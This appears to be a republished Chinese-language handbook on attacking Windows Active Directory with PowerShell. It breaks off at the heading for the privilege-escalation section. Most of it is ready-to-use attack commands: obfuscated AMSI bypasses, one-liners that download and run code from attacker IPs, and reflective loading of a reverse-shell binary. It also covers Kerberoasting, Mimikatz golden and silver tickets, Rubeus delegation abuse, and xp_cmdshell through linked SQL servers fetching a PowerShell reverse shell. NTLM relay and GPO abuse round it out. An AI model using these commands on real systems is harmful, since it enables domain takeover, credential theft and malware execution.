PowerShell 和 AD 域渗透漏洞利用手册

admin 2021年9月30日04:00:50评论180 views字数 32920阅读109分44秒阅读模式

PowerShell 和 AD 域渗透漏洞利用手册

PowerShell 和 AD 域渗透漏洞利用手册
0x01 通用技巧

1.PowerShell AMSI bypass

patch Anti-Malware Scan Interface (AMSI)可以绕过在执行PowerShell脚本时触发的AV警告。请勿在渗透中不patch就使用AMSI,因为它们很容易就会触发警告。通过修改脚本来避开基于签名的检测,甚至这种更好的方法可以完全不需要 AMSI 绕过。

AMSI 是一种接口,在Windows 上运行的应用程序和服务可利用该接口将扫描请求发送到计算机上安装的反恶意软件产品。

普通AMSI bypass 示例:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

用于复制粘贴的混淆示例:

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

PowerShell 自动记录未被检测到的另一个绕过脚本:

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

更多绕过脚本在下面链接中:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

2.反射加载PowerShell脚本

使用代理:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

不使用代理:

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

反射加载C#程序集

在运行该类之前,请确保所引用的类和主方法是“public”的,为此可能需要全过程的AMSI bypass。

https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

# Download and run assembly without arguments

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')

$assem = [System.Reflection.Assembly]::Load($data)

[rev.Program]::Main("".Split())


# Download and run Rubeus, with arguments

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')

$assem = [System.Reflection.Assembly]::Load($data)

[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())


# Execute a specific method from an assembly (e.g. a DLL)

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')

$assem = [System.Reflection.Assembly]::Load($data)

$class = $assem.GetType("ClassLibrary1.Class1")

$method = $class.GetMethod("runner")

$method.Invoke(0, $null)

下载文件

# Any version

(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:WindowsTempPowerUp.ps1")


# Powershell 4+

## You can use 'IWR' as a shorthand

Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -OutFile "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpIncnspc64.exe"

编码命令

编码:

$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

以上版本的Linux:

echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0

对现有脚本进行编码,然后复制到剪贴板:

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:pathtoPowerView.ps1')) | clip

运行脚本绕过执行策略。

Powershell -EncodedCommand $encodedCommand

PowerShell 和 AD 域渗透漏洞利用手册
0x02 信息收集

1.使用PowerView进行AD枚举

下面给出了对我来说最有用的命令,但这只是PowerView的一小部分功能。

# Get all users in the current domain

Get-NetUser | select -ExpandProperty cn


# Get all computers in the current domain

Get-NetComputer


# Get all domains in current forest

Get-NetForestDomain


# Get domain/forest trusts

Get-NetDomainTrust

Get-NetForestTrust


# Get information for the DA group

Get-NetGroup -GroupName "Domain Admins"


# Find members of the DA group

Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername


# Find interesting shares in the domain, ignore default shares

Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC


# Get OUs for current domain

Get-NetOU -FullData


# Get computers in an OU

# %{} is a looping statement

Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}


# Get GPOs applied to a specific OU

Get-NetOU *student* | select gplink

Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"


# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain

Get-NetGPOGroup


# Get incoming ACL for a specific object

Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights


# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format

Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft


# Get interesting outgoing ACLs for a specific user or group

# ?{} is a filter statement

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

2.AppLocker

AppLocker 可推进软件限制策略的应用控制特性和功能。AppLocker 包含新的功能和扩展,允许你创建规则以允许或拒绝应用基于文件的唯一标识运行,并指定哪些用户或组可以运行这些应用。

使用 AppLocker,可以:

控制以下类型的应用:可执行文件 (.exe 和 .com) 、脚本 (.js、.ps1、.vbs、.cmd 和 .bat) 、Windows Installer 文件 (.mst、.msi 和 .msp) 以及 DLL 文件 (.dll 和 .ocx) ,以及打包的应用和封装应用安装程序 (appx) 。

根据从数字签名派生的文件属性(包括发布者、产品名称、文件名和文件版本)定义规则。例如,可以创建基于通过更新持久化发布者属性的规则,也可以为文件的特定版本创建规则。

向安全组或单个用户分配规则。

创建规则异常。例如,可以创建一个规则,允许除注册表编辑器Windows进程之外的所有 (Regedit.exe) 。

使用仅审核模式部署策略,并在强制执行它之前了解其影响。

导入和导出规则。导入和导出会影响整个策略。例如,如果导出策略,将导出所有规则集合的所有规则,包括规则集合的强制设置。如果导入策略,将覆盖现有策略的所有条件。

通过使用 cmdlet 简化 AppLocker 规则的创建Windows PowerShell管理。

确定本地 AppLocker 策略,寻找可以绕过的二进制文件或路径

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

一些高级绕过技术:

如果仅允许使用(Microsoft)签名的二进制文件,可以使用LOLBAS绕过。

如果允许来自C:Windows的二进制文件,请尝试将你的二进制文件拖放到C:WindowsTemp或C:WindowsTasks。如果此目录树中没有可写的子目录,但存在可写文件,可以将文件写入备用数据流(例如JScript脚本),然后从那里执行它。

将你的二进制文件包在DLL文件中,然后执行rundll32以绕过可执行规则。如果允许使用Python二进制文件,可以使用该文件。如果不起作用,可以尝试其他技术,例如将JScript包在HTA文件中或使用wmic来运行XSL文件。

3.PowerShell的CLM模式

有时,你可能会发现自己处于执行约束语言模式(CLM)的PowerShell会话中。与AppLocker配对时,通常是这种情况。

你可以通过轮询以下变量来获取当前的语言模式,从而确定自己处于受限语言模式。它将为非限制会话显示FullLanguage,为CLM显示ConstrainedLanguage。还有其他语言模式,在这里将不再赘述。

$ExecutionContext.SessionState.LanguageMode

由于PowerShell中的关键功能被阻止,CLM带来的限制将阻止许多利用尝试。如上所述,绕过CLM与绕过AppLocker大致相同。另一种绕过CLM的方法是绕过AppLocker执行二进制文件,这些二进制文件执行自定义PowerShell运行空间(例如Stracciatella),该运行空间将不受约束。

另一个快速绕过方法是使用内联函数,这有时是有效的。如果whoami被阻止,可以尝试以下操作:

&{whoami}

4.LAPS

本地管理密码解决方案(LAPS)是Microsoft的产品,用于在Active Directory域的上下文中管理本地管理密码。它经常为注册机器的本地管理员用户生成高强度且唯一的密码。然后将此密码属性及其过期时间写入Active Directory中的计算机对象。默认情况下,对LAPS密码的读取权限仅授予域管理员,但通常也会授权给特殊组。

ReadLAPSPassword权限授予用户或组读取ms Mcs AdmPwd属性并获取本地管理员密码的能力。可以使用例如BloodHound 或PowerView来查找此属性。如果知道我们对机器拥有正确的ReadLAPSPassword权限,还可以使用PowerView来读取密码。

Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd

我们可以使用LAPSToolkit.ps1来识别域中的哪些计算机使用LAPS,以及允许哪些域组读取LAPS密码。如果属于此组,则也可以使用此工具获取当前的LAPS密码。

# Get computers running LAPS, along with their passwords if we're allowed to read those

Get-LAPSComputers


# Get groups allowed to read LAPS passwords

Find-LAPSDelegatedGroups

5.Powercat反向shell

如果Linux没有反向shell,则可以选择选择使用如下命令。

powercat -l -p 443 -t 9999

PowerShell 和 AD 域渗透漏洞利用手册
0x03 横向运动

PowerView

# Find existing local admin access for user (noisy 🚩)

Find-LocalAdminAccess


# Find local admin access over PS remoting (also noisy 🚩), requires Find-PSRemotingLocalAdminAccess.ps1

Get-NetComputer -Domain dollarcorp.moneycorp.local > .targets.txt

Find-PSRemotingLocalAdminAccess -ComputerFile .targets.txt dcorp-std355


# Same for WMI. Requires 'Find-WMILocalAdminAccess.ps1', which seems to be removed from Nishang?

Find-WMILocalAdminAccess -ComputerFile .targets.txt

Find-WMILocalAdminAccess # Finds domain computers automatically


# Hunt for sessions of interesting users on machines where you have access (still noisy 🚩)

Invoke-UserHunter -CheckAccess | ?{$_.LocalAdmin -Eq True }


# Look for kerberoastable users

Get-DomainUser -SPN | select name,serviceprincipalname


# Look for AS-REP roastable users

Get-DomainUser -PreauthNotRequired | select name


# Look for users on which we can set UserAccountControl flags

## If available - disable preauth or add SPN (see below)

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}


# Look for servers with Unconstrained Delegation enabled

## If available and you have admin privs on this server, get user TGT (see below)

Get-DomainComputer -Unconstrained


# Look for users or computers with Constrained Delegation enabled

## If available and you have user/computer hash, access service machine as DA (see below)

Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto

Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

BloodHound

使用SharpHound.ps1中的Invoke BloodHound,或使用SharpHound.exe,二者都可以反射加载执行。

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

# Run all checks if you don't care about OpSec 🚩

Invoke-BloodHound -CollectionMethod All,GPOLocalGroup


# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts 🚩

Invoke-BloodHound -CollectionMethod LoggedOn

Kerberoasting

自动执行

使用PowerView:

Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

使用Hashcat破解哈希:

hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

手动执行

# Request TGS for kerberoastable account (SPN)

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"


# Dump TGS to disk

Invoke-Mimikatz -Command '"kerberos::list /export"'


# Crack with TGSRepCrack

python.exe .tgsrepcrack.py .10k-worst-pass.txt .mssqlsvc.kirbi

通过设置SPN实现针对性kerberoasting

我们需要ACL写入权限才能为该用户设置UserAccountControl标志,使用PowerView:

Set-DomainObject -Identity support355user -Set @{serviceprincipalname='any/thing'}

AS-REP roasting

获取可roaste用户的哈希值,使用ASREPRoast.ps1:

Get-ASREPHash -UserName VPN355user

使用Hashcat破解哈希:

hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

通过禁用Kerberos预身份验证进行有针对性的AS-REP漫游

我们需要ACL写入权限才能为该用户设置UserAccountControl标志,使用PowerView。

Set-DomainObject -Identity Control355User -XOR @{useraccountcontrol=4194304}

令牌操纵

可以通过计算机上的会话/运行进程从其他用户模仿令牌,通过使用例如CobaltStrike注入到所述过程中可以实现类似的效果。

匿名

# Show tokens on the machine

.incognito.exe list_tokens -u


# Start new process with token of a specific user

.incognito.exe execute -c "domainuser" C:Windowssystem32calc.exe

如果使用Meterpreter,可以将内置的Incognito模块与use Incognito一起使用。

调用令牌操作

# Show all tokens on the machine

Invoke-TokenManipulation -ShowAll


# Show only unique, usable tokens on the machine

Invoke-TokenManipulation -Enumerate


# Start new process with token of a specific user

Invoke-TokenManipulation -ImpersonateUser -Username "domainuser"


# Start new process with token of another process

Invoke-TokenManipulation -CreateProcess "C:Windowssystem32calc.exe" -ProcessId 500

Rubeus 横向运动

我们可以使用 Rubeus 来执行一种称为“Overpass-the-Hash”的技术。在这种技术中,我们不是直接传递哈希,而是使用帐户的 NTLM 哈希来请求有效的 Kerberost 票据 (TGT)。然后,我们可以使用此票据让目标用户向域进行身份验证。

# Request a TGT as the target user and pass it into the current session

# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs

.Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt


# More stealthy variant, but requires the AES256 hash

.Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt


# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)

.Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:WindowsSystem32cmd.exe

一旦有一个 TGT 可以让目标用户认证成功,就可以在域上下文中作为这个用户使用服务,允许横向移动。

Mimikatz 使用非常广泛,正因为如此,二进制文件也会被检测到。如果需要在目标机器上运行 Mimikatz(不推荐),反射执行自定义版本是最好的选择。还有一些选项,例如Invoke-MimiKatz或Safetykatz。后者更隐蔽,但不包括所有功能。

# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)

sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe


# Golden ticket (domain admin, w/ some ticket properties to avoid detection)

kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt


# Silver ticket for a specific SPN with a compromised service / machine account

kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

使用计划任务执行命令

需要“host”SPN

创建任务:

# Mind the quotes. Use encoded commands if quoting becomes too much of a pain

schtasks /create /tn "shell" /ru "NT AuthoritySYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

触发任务:

schtasks /RUN /TN "shell" /s dc.targetdomain.com

使用 WMI 执行命令

需要“host”和“RPCSS”SPN

Windows

Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"

Linux

# with password

impacket-wmiexec DOMAIN/targetuser:[email protected]


# with hash

impacket-wmiexec DOMAIN/[email protected] -hashes :e0e223d63905f5a7796fb1006e7dc594


# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)

impacket-wmiexec DOMAIN/[email protected] -no-pass -k

使用 PowerShell 远程执行命令

需要“CIFS”和“HTTP”SPN。可能还需要“WSMAN”或“RPCSS”SPN(取决于操作系统版本)

# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)

# Leave out -Credential $Cred in the below commands to run as the current user instead

$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN/targetuser', $SecPassword)


# Run a command remotely (can be used on multiple machines at once)

Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}


# Launch a session as another user (prompt for password instead, for use with e.g. RDP)

Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser


# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt

$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com

Invoke-Command -Session $sess -FilePath c:pathtofile.ps1

Enter-PsSession -Session $sess


# Copy files to or from an active PowerShell remoting session

Copy-Item -Path .Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:Userspublic"

无约束委派

可以在前端服务(例如 IIS Web 服务器)上设置无约束委派,以允许它代表用户委派域中的任何服务(针对后端服务,例如 MSSQL 数据库)。

DACL UAC 属性:TrustedForDelegation.

使用设置了无约束委派的服务器上的管理权限,我们可以为具有连接的其他用户转储 TGT。如果成功地做到了这一点,我们就可以将受害者用户伪装成域中的任何服务。

Mimikatz:

sekurlsa::tickets /export

kerberos::ptt c:pathtoticket.kirbi

Rubeus:

.Rubeus.exe triage

.Rubeus.exe dump /luid:0x5379f2 /nowrap

.Rubeus.exe ptt /ticket:doIFSDCC[...]

如果该 DC 容易受到打印机错误的影响,我们还可以获得域控制器计算机帐户的哈希值。如果成功执行此操作,我们可以对域控制器进行DCSync(见下文)以完全破坏当前域。

在具有无约束委派的服务器上,使用 Rubeus 监视新票据。

.Rubeus.exe monitor /interval:5 /nowrap

从攻击机器上,利用打印机漏洞诱使域控制器连接。二进制文件在这里。

https://github.com/leechristensen/SpoolSample

.MS-RPRN.exe \dc.targetdomain.com \unconstrained-server.targetdomain.com

DC 的机器帐户的 TGT 应该在第一个会话中出现。可以将这张票传递到我们当前的会话中以获得 DCSync 权限(见下文)。

.Rubeus.exe ptt /ticket:doIFxTCCBc...

约束委派

可以在前端服务器(例如 IIS)上设置约束委派,以允许它代表用户仅委派给选定的后端服务(例如 MSSQL)。

DACL UAC 属性:TrustedToAuthForDelegation. 这允许s4u2self,即代表任何人向自己请求 TGS ,仅使用 NTLM 密码哈希。这有效地允许服务仅使用他们的哈希来模拟域中的其他用户,并且在用户和前端之间未使用 Kerberos 的情况下非常有用。

DACL 属性:msDS-AllowedToDelegateTo. 此属性包含允许在其上使用的 SPN s4u2proxy,即基于现有 TGS(通常是使用 获得的s4u2self)为该服务器请求可转发 TGS 。这有效地定义了允许约束委派的后端服务。

注意:这些属性不必同时存在!如果s4u2proxy允许而没有s4u2self,则需要用户交互才能从用户那里获取到前端服务的有效 TGS,类似于无约束委派。

在这种情况下,我们使用 Rubeus 自动请求 TGT,然后使用ldapSPN请求 TGS,以允许我们使用机器帐户进行 DCSync。

# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)

.Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E


# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN

.Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt


# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)

.Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

基于资源的约束委派

基于资源的约束委派 (RBCD) 将后端服务器(例如 MSSQL)配置为仅允许选定的前端服务(例如 IIS)代表用户进行委派。这使得特定服务器管理员可以更轻松地配置委派,而无需域管理员权限。

DACL 属性:msDS-AllowedToActOnBehalfOfOtherIdentity.

在这种情况下,s4u2self和s4u2proxy如上所述用于代表用户请求可转发的票据。但是,对于 RBCD,KDC 会检查请求服务(即前端服务)的 SPN是否存在于后端服务的msDS-AllowedToActOnBehalfOfOtherIdentity属性中。这意味着前端服务需要设置一个 SPN。因此,必须从具有 SPN 的服务帐户或机器帐户执行针对 RBCD 的攻击。

如果我们破坏出现在后端服务的 RBCD 属性中的前端服务,则利用与上述约束委托相同,但是种情况并不常见。

更经常看到攻击RBCD是当存在GenericWrite,GenericAll,WriteProperty,或WriteDACL许可在域中的计算机对象。这意味着我们可以在此计算机帐户上编写msDS-AllowedToActOnBehalfOfOtherIdentity属性以添加受信任的受控 SPN 或计算机帐户进行委派。甚至可以创建一个新的机器帐户并添加该属性。这允许我们在任何用户的上下文中攻击目标机器,就像约束委派一样。

# Create a new machine account using PowerMad

New-MachineAccount -MachineAccount InconspicuousMachineAccount -Password $(ConvertTo-SecureString 'Compromised123!' -AsPlainText -Force)


# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target

$sid = Get-DomainComputer -Identity InconspicuousMachineAccount -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"

$SDbytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target

Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes}


# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target


.Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4:3644AC5E3D9441CCBCEF08CBAF98E910 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt

滥用域信任

所有命令都必须在当前域中以 DA 权限运行。

请注意,如果你完全破坏子域 ( currentdomain.targetdomain.com),根据定义,targetdomain.com由于隐式信任关系,你也可以破坏父域 ( )。

使用域信任密钥

在DC中,currentdomaintargetdomain$使用 Mimikatz(例如,使用 LSADump 或 DCSync)转储信任帐户的散列。然后,使用此信任密钥和域 SID,使用 Mimikatz 伪造域间 TGT,将目标域的企业管理员组的 SID 添加到我们的“SID 历史记录”中。

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:userspublicticket.kirbi

把这张票据交给Rubeus。

确保你拥有正确版本的 Rubeus。出于某种原因,我编译的一些二进制文件给出了错误KDC_ERR_WRONG_REALM,而 CRTP 提供的版本没有问题。

.Rubeus.exe asktgs /ticket:c:userspublicticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt

我们现在可以 DCSync 目标域(见下文)。

使用 krbtgt 哈希

从 DC,使用 DCSync 或 LSADump 转储 krbtgt 哈希。然后,使用这个哈希,使用 Mimikatz 伪造一个跨域的 TGT,就像之前的方法一样。

这样做需要当前域的 SID 作为/sid参数,目标域的 SID 作为/sids参数的一部分。你可以使用 PowerView 的Get-DomainSID,使用*-516和S-1-5-9的SID历史记录(/SID)分别伪装为域控制器组和企业域控制器,以减少日志中的噪音。

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt

或者,使用目标域中企业管理员组的 SID 历史生成域管理员票据。

kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

我们现在可以立即 DCSync 目标域,或者使用例如计划任务获得反向 shell。

滥用森林间信任

由于森林是一个安全边界,我们只能访问与我们已入侵的域(我们的源域)共享的域服务。使用例如 BloodHound 查找在两个森林中都有帐户(具有相同用户名)的用户并尝试重用密码。此外,我们可以使用 BloodHound 或 PowerView 来寻找森林之间的外部组成员身份。PowerView 命令:

Get-DomainForeignGroupMember -domain targetdomain.com

在某些情况下,可能会在森林之间禁用SID 过滤(导致上述情况的保护)。如果你运行Get-DomainTrust并看到该TREAT_AS_EXTERNAL,在这种情况下,你可以像域信任一样滥用林信任。请注意,你仍然可以不伪造票据500和1000之间的任何SID的,所以你不能成为DA(甚至没有间接通过组继承)。在这种情况下,查找授予例如域控制器上的本地管理员或类似的非域权限的组。

要模拟源域中的用户访问外部域中的服务,我们可以执行以下操作。像上面的“使用域信任密钥”一样提取林间信任密钥。

使用 Mimikatz 使用信任密钥为目标域生成 TGT:

Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi

然后,使用 Rubeus 向 TGS 请求CIFS使用此 TGT 的目标 DC 上的服务。

.Rubeus.exe asktgs /ticket:c:adtoolseucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

现在我们可以使用目标林的 DC 上的 CIFS 服务作为我们源域的 DA。

滥用 MSSQL 数据库进行横向移动

MSSQL 数据库可以链接,这样如果你破坏一个数据库,你就可以在特定用户的上下文中对其他数据库执行查询(甚至操作系统命令!)。如果这样配置,它甚至可以用来遍历森林边界!如果我们有 SQL 执行,我们可以使用以下命令来枚举数据库链接。

-- Find linked servers

EXEC sp_linkedservers


-- Run SQL query on linked server

select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')


-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled

EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER

EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER

EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

我们还可以使用PowerUpSQL在域中查找数据库,并收集有关可访问的数据库的更多信息。我们还可以在链接的数据库上自动查找和执行查询或命令,甚至通过多层数据库链接。

https://github.com/NetSPI/PowerUpSQL

# Get MSSQL databases in the domain, and test connectivity

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft


# Try to get information on all domain databases

Get-SQLInstanceDomain | Get-SQLServerInfo


# Get information on a single reachable database

Get-SQLServerInfo -Instance TARGETSERVER


# Scan for MSSQL misconfigurations to escalate to SA

Invoke-SQLAudit -Verbose -Instance TARGETSERVER


# Execute SQL query

Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER


# Run command (enables XP_CMDSHELL automatically if required)

Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults


# Automatically find all linked databases

Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft


# Run command if XP_CMDSHELL is enabled on any of the linked databases

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft


Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

如果你对 MSSQL 数据库具有低特权访问权限并且不存在链接,则你可能会通过使用xp_dirtree存储过程访问此共享来强制 NTLM 身份验证。如果此操作成功,则可以收集 SQL 服务帐户的 NetNTLM,并可能破解或中继以破坏作为该服务帐户的计算机。

EXEC master..xp_dirtree "\192.168.49.67share"

中继哈希以本地管理员身份进行身份验证的示例命令(如果服务帐户具有这些权限)并运行calc.exe.,省略-c参数来尝试secretsdump。

sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'

滥用组策略对象进行横向移动

如果我们确定有权在域内编辑和链接新的组策略对象 (GPO),我们可以滥用这些权限横向移动到其他计算机。

例如,可以使用合法的 Windows远程系统管理工具(RSAT) 创建一个新的 GPO,将其链接到目标,并部署一个注册表 runkey 以添加一个将在机器下次启动时自动运行的命令。

https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools

# Create a new GPO and link it to the target server

New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'


# Link an existing GPO to another target server

New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'


# Deploy a registry runkey via the GPO

Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLMSoftwareMicrosoftWindowsCurrentVersionRun' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString

我们还可以使用SharpGPOAbuse部署一个即时计划任务,该任务将在组策略刷新时运行(默认为每 1-2 小时一次)。SharpGPOABuse 不创建自己的 GPO 对象,因此首先必须运行上面列出的用于创建和链接 GPO 的命令。在此之后,可以运行 SharpGPOAbuse 来部署即时任务。

SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITYSYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"

PowerShell 和 AD 域渗透漏洞利用手册
0x04 权限提升

